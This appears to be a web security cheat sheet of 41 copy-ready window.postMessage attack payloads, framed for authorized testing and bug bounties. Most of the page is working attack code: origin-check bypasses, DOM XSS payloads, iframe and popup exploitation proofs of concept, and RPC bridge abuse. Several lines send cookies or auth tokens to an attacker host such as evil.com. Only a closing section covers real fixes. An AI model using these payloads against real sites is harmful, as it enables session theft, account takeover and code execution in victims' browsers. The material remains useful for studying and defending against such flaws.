postMessage Security Cheat Sheet

window.postMessage attack payloads and PoCs for authorized testing: missing origin checks, DOM XSS sinks in message handlers, listener discovery, and cross-window exploitation. (41 payloads)

Try it interactively with the XSS Sandbox

Listener Discovery & Recon

(7)

window.addEventListener('message', ...) / window.onmessage =

Grep the target's JavaScript bundles for these two registration patterns — every postMessage vulnerability starts at a registered handler. Search inline scripts, lazy-loaded chunks, and third-party SDKs (analytics, chat widgets, payment iframes) which are the most common source of weak handlers.Static grep over JS source

getEventListeners(window)['message']

Chrome DevTools console helper that lists every live 'message' listener on window, including the bound handler function. Click the function reference to jump straight to its source in the Sources panel and read the origin check (or lack of one).DevTools console (Chrome only)

var _add=EventTarget.prototype.addEventListener;EventTarget.prototype.addEventListener=function(t,h,o){if(t==='message')console.log('listener:',h.toString());return _add.call(this,t,h,o)}

Hook addEventListener before the page registers its handlers (paste in a 'document-start' userscript or breakpoint) to dump the full source of every message listener as it is attached. Reveals dynamically added listeners that static analysis misses.Runtime hook, run at document-start

monitorEvents(window, 'message')

DevTools utility that logs every MessageEvent the window receives in real time. Open the legitimate app flow and watch which messages travel between frames so you can replay and tamper with them.DevTools console traffic capture

frames.length; for(let i=0;i<frames.length;i++)console.log(i, frames[i].location?.href)

Enumerate child iframes and their origins to map the cross-window topology. postMessage flows between window <-> iframe, opener <-> popup, and parent <-> child — knowing the frame tree tells you which window object to target with .postMessage().Frame tree mapping

window.addEventListener('message',e=>console.log('ORIGIN:',e.origin,'DATA:',e.data))

Drop this on an attacker page that frames or opens the target to capture outbound messages the target sends to other windows. If the target posts secrets (tokens, user data) with targetOrigin '*', any embedding page reads them.Capture outbound messages

Inspect .postMessage(data, '*') calls

Search for the wildcard targetOrigin '*' in send calls — this leaks the message payload to whatever document currently occupies the target window. If a token or PII is sent with '*', an attacker who controls or navigates that frame steals it. Always flag '*' on both send and receive sides.Wildcard targetOrigin audit

Missing / Weak Origin Validation

(7)

window.addEventListener('message', e => { handle(e.data) }) // no e.origin check

The core vulnerability: a handler that processes e.data without ever checking e.origin trusts messages from ANY window. Any page that frames the target (or opens it as a popup) can post crafted data and drive the handler. Confirm by posting from an unrelated origin and seeing the handler fire.No origin check at all

if (e.origin.indexOf('trusted.com') !== -1) { ... }

Substring/includes matching is bypassable. 'https://trusted.com.attacker.com' and 'https://attacker.com/?trusted.com' both contain the string. Register the attacker domain (or a subdomain/path) so the check passes and your origin is treated as trusted.indexOf / includes bypass

if (e.origin.endsWith('trusted.com')) { ... }

endsWith() without a separator is defeated by 'https://nottrusted.com' or 'https://eviltrusted.com'. The attacker registers a domain that ends in the allowed string. Correct checks compare the full origin with === against an allowlist.endsWith suffix bypass

if (/trusted\.com/.test(e.origin)) { ... }

Unanchored regex (missing ^ and $, dot not escaped) matches anywhere in the string. 'https://attacker.com/trusted.com', 'https://trustedxcom.evil.com' (dot as wildcard), and 'https://trusted.com.evil.com' all match. Test each anchoring/escaping gap.Unanchored / unescaped regex

if (e.origin === 'null') { ... } // attacker triggers from sandboxed iframe

Some handlers explicitly trust the 'null' origin (or fall through to it). Browsers send origin 'null' from sandboxed iframes (sandbox="allow-scripts"), data:/file: URLs, and certain redirects — so an attacker can forge a 'null' origin at will. Treat allowlisting 'null' as a vulnerability.null origin via sandboxed iframe

if (e.origin === location.origin) { ... } // but handler also runs in an attacker-framed context

Checking e.origin but never checking e.source lets a sibling iframe on the same origin (or any window that can reach the same-origin frame) impersonate the expected sender. Robust handlers verify BOTH e.origin (===, allowlisted) AND e.source (=== the expected window/iframe reference).Origin OK but no e.source check

// Handler trusts e.data.origin / e.data.from instead of e.origin

A classic mistake: the handler reads a self-declared origin from inside the message body (e.data.origin) rather than the browser-supplied, unspoofable e.origin. The attacker simply sets e.data.origin = 'https://trusted.com' in the payload. The real e.origin property is the only trustworthy source identifier.Trusting body-supplied origin

DOM XSS Sinks in Message Handlers

(7)

window.parent.postMessage('<img src=x onerror=alert(document.domain)>', '*')

Where the handler does element.innerHTML = e.data (or outerHTML / insertAdjacentHTML / document.write), the message body is rendered as HTML. img/onerror and svg/onload fire without inline-script CSP. This is the most common postMessage-to-XSS path.innerHTML / document.write sink

target.postMessage(JSON.stringify({html:'<svg onload=alert(document.cookie)>'}), '*')

Many widgets pass a structured object and the handler renders one field, e.g. node.innerHTML = data.html or data.message. Inspect which property reaches the DOM sink and put the markup there. svg/onload runs in more contexts than script tags.Structured payload to innerHTML

win.postMessage('alert(document.domain)', '*') // handler does eval(e.data)

If the handler passes message data to eval(), Function(), setTimeout(string), or setInterval(string), the body is executed as raw JavaScript — instant arbitrary code execution in the target origin. Common in old RPC/bridge libraries that 'eval' a command string.eval / Function() sink

target.postMessage({callback:'fetch(`//evil.com/?c=`+document.cookie)'}, '*')

Bridge handlers that look up data.callback or data.method and invoke window[name](args) — or string-concatenate a callback into eval — let the attacker call arbitrary functions or inject code. Test for window[data.fn] dispatch patterns and JSONP-style callbacks.Dynamic function dispatch

target.postMessage({action:'navigate', url:'javascript:alert(document.domain)'}, '*')

Handlers that set location = data.url, location.href, or anchor.href from the message enable javascript:-URI execution and open-redirect. Pair with a data: or javascript: scheme to escalate a 'navigation' message into script execution.location / href sink

target.postMessage({src:'data:text/html,<script>alert(document.domain)</script>'}, '*')

When the handler assigns data.src to an iframe/script/object element (iframe.src = data.src), a data: URL or attacker-hosted script yields execution. jQuery $(data.html) and Angular/older-framework template sinks behave the same — the message reaches an HTML/JS parser.iframe.src / jQuery $() sink

target.postMessage({tpl:'{{constructor.constructor(\'alert(1)\')()}}'}, '*')

If the message feeds a client-side template engine (AngularJS sandbox-escape, Handlebars, lodash _.template), client-side template injection becomes RCE-in-the-DOM. Confirm by sending a math expression like {{7*7}} and checking for 49 in the rendered output first.Client-side template injection

Cross-Window Exploitation PoCs

(7)

<iframe src="https://target.example.com/widget" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')"></iframe>

Frame the vulnerable page and post to its contentWindow once it loads. Works when the target lacks X-Frame-Options/frame-ancestors AND its handler skips the origin check. The payload executes in the target's origin, not yours.iframe -> child postMessage

var w = window.open('https://target.example.com/cb'); setTimeout(()=>w.postMessage({action:'setToken',token:'<svg onload=alert(1)>'}, '*'), 1500)

When X-Frame-Options blocks framing, open the target in a popup instead and post to the returned window handle. The setTimeout gives the popup time to register its message listener before you send. Defeats clickjacking/framing defenses that don't cover popups.window.open popup -> postMessage

<iframe sandbox="allow-scripts" src="https://target.example.com/widget" id=t></iframe><script>t.onload=()=>t.contentWindow.postMessage(PAYLOAD,'*')</script>

Loading the target in a sandboxed iframe makes the browser stamp the handshake/messages with origin 'null'. Use this when the handler allowlists 'null' (e.g. e.origin === 'null') so your forged messages are accepted as trusted.Forge origin 'null'

window.opener.postMessage({cmd:'updateProfile',bio:'<img src=x onerror=fetch(`//evil/?c=`+document.cookie)>'}, '*')

Reverse direction: a page opened BY the target (OAuth/payment callback, share dialog) can post back to its opener via window.opener. If the opener's handler is unvalidated, a malicious popup chained from an open-redirect or a clicked link drives the parent.opener-back exploitation

addEventListener('message',e=>{if(e.data&&e.data.type==='token')fetch('//evil.com/x?t='+encodeURIComponent(e.data.token))});var i=document.createElement('iframe');i.src='https://target/embed';document.body.append(i);

Data-theft PoC: embed the target and harvest any message it broadcasts to its frames with targetOrigin '*'. SSO/widget frames that emit auth tokens, CSRF tokens, or PII to '*' leak directly to the embedding attacker page.Steal '*' broadcast secrets

for(let i=0;i<frames.length;i++){frames[i].postMessage(PAYLOAD,'*')}

When you control one frame on a multi-frame page (e.g. a malicious ad slot), iterate sibling frames and post the payload to each. Useful for hitting an internal RPC bus where one trusted frame relays messages to others without re-validating origin.Sibling-frame fan-out

// Burp: intercept the page, inject <script>parent.postMessage(...)</script> into a controlled subframe

When the listener allowlists a specific trusted origin you partially control (subdomain takeover, stored XSS on a sibling app, a self-XSS-only endpoint), execute from THAT origin so e.origin passes. Origin checks are only as strong as the weakest allowlisted domain.Pivot via trusted allowlisted origin

Bridges, RPC & Stored Chains

(6)

target.postMessage({jsonrpc:'2.0',method:'eval',params:['fetch(`//evil/?c=`+document.cookie)'],id:1}, '*')

Many SDKs implement a JSON-RPC-style postMessage bridge that dispatches data.method to internal handlers. Enumerate methods (often listed in the JS) and look for privileged ones — eval, exec, navigate, setConfig, getStorage — invokable without per-message authZ.postMessage RPC method abuse

target.postMessage({method:'storage.get',key:'auth_token'}, '*'); // listen for the reply

Bridges frequently expose localStorage/sessionStorage read methods so embedded widgets can fetch config. An unvalidated handler lets an attacker page read the target origin's storage — including session and OAuth tokens — by issuing the storage.get method and capturing the response message.Read victim-origin storage

target.postMessage({type:'config',apiBase:'https://evil.com/'}, '*')

If the handler updates app config/state (API base URL, callback endpoint, feature flags) from the message, redirect the app's own API calls to an attacker server to capture credentials or serve malicious responses. A 'configuration' message becomes a full MITM of the SPA.Config poisoning -> API redirect

// Stored XSS in name posts: profile.bio -> rendered, then bio runs parent.postMessage(evilCmd,'*')

Chain a low-impact stored/self XSS in a sibling frame or sub-app into a high-impact action: the injected script runs parent.postMessage() against the trusted main app's unvalidated handler. This upgrades a contained XSS into privileged operations on the parent origin.Stored XSS -> postMessage chain

ws.onmessage = e => top.postMessage(e.data, '*') // relay sink

Look for relay handlers that forward data between channels (WebSocket -> postMessage, postMessage -> WebSocket, postMessage -> fetch). A relay that doesn't re-validate origin/content lets an attacker inject into the destination sink through the relay, crossing a trust boundary.Cross-channel relay injection

target.postMessage({event:'resize',height:9999,onComplete:'alert(document.domain)'}, '*')

iframe auto-resize libraries (iframe-resizer and similar) accept messages with embedded callbacks or set inline styles from the body. Audit the resize protocol: callback strings reach eval-like sinks and unbounded style values can clobber layout for clickjacking.Auto-resize library abuse

Detection, Tooling & Hardening

(7)

DOM Invader (Burp Suite) -> postMessage interception

Burp's embedded DOM Invader auto-logs every MessageEvent, flags listeners with no/weak origin checks, traces data into DOM sinks, and offers one-click replay with tampered payloads. The fastest way to discover and confirm postMessage DOM XSS at scale.Burp DOM Invader

postMessage-tracker / Posta (browser extension / proxy)

Dedicated postMessage research tools record the sending frame, receiving handler source, origin checks, and let you fuzz/replay captured messages across frames. Use them to map the message graph on complex SPAs before manual exploitation.Dedicated PM research tools

if (e.origin !== 'https://trusted.example.com') return; // strict equality allowlist

FIX: compare the full e.origin with === against an explicit allowlist (or includes() over an array of exact origins). Never use substring/endsWith/regex matching, and never trust an origin value taken from the message body.Correct origin check

if (e.source !== expectedIframe.contentWindow) return;

FIX: also verify e.source against the exact window reference you expect (the iframe's contentWindow or the popup handle). Combined with the origin === check this stops same-origin sibling-frame impersonation.Verify e.source

el.textContent = data.message; // not innerHTML

FIX: write message-derived strings with textContent/createTextNode, never innerHTML/outerHTML/insertAdjacentHTML/document.write. Never pass message data to eval/Function/setTimeout(string). If HTML is genuinely required, sanitize with DOMPurify first.Safe DOM rendering

win.postMessage(data, 'https://trusted.example.com') // explicit targetOrigin, never '*'

FIX on the send side: always specify the exact targetOrigin so the browser refuses to deliver if the target window navigated to a different origin. Using '*' leaks the payload to whoever controls the target window.Explicit targetOrigin on send

Content-Security-Policy: frame-ancestors 'self'; + X-Frame-Options: DENY

DEFENSE IN DEPTH: framing controls stop an attacker from embedding the page to drive its handler, and a strict script-src/CSP blocks many DOM-XSS payloads from executing even if a sink is reached. These reduce blast radius but are not a substitute for a correct origin/source check.Framing + CSP hardening

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

XSS Cheat Sheet CORS Misconfiguration Cheat Sheet WebSocket Security Cheat Sheet CSP Bypass Cheat Sheet

Frequently asked questions

What is the postMessage Security Cheat Sheet?+

It's a quick-reference collection of 41 postMessage payloads for testing postMessage Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these postMessage payloads?+

Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.

Are these postMessage payloads free to use?+

Yes — this cheat sheet and all postMessage payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the postMessage Security Cheat Sheet?+

How do I use these postMessage payloads?+

Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.

Are these postMessage payloads free to use?+

Yes — this cheat sheet and all postMessage payloads are completely free, with no account required. Everything runs in your browser.

postMessage Security Cheat Sheet

Listener Discovery & Recon

Missing / Weak Origin Validation

DOM XSS Sinks in Message Handlers

Cross-Window Exploitation PoCs

Bridges, RPC & Stored Chains

Detection, Tooling & Hardening

Related Tools

Related Cheat Sheets

Frequently asked questions

postMessage Security Cheat Sheet

Listener Discovery & Recon

Missing / Weak Origin Validation

DOM XSS Sinks in Message Handlers

Cross-Window Exploitation PoCs

Bridges, RPC & Stored Chains

Detection, Tooling & Hardening

Related Tools

Related Cheat Sheets

Frequently asked questions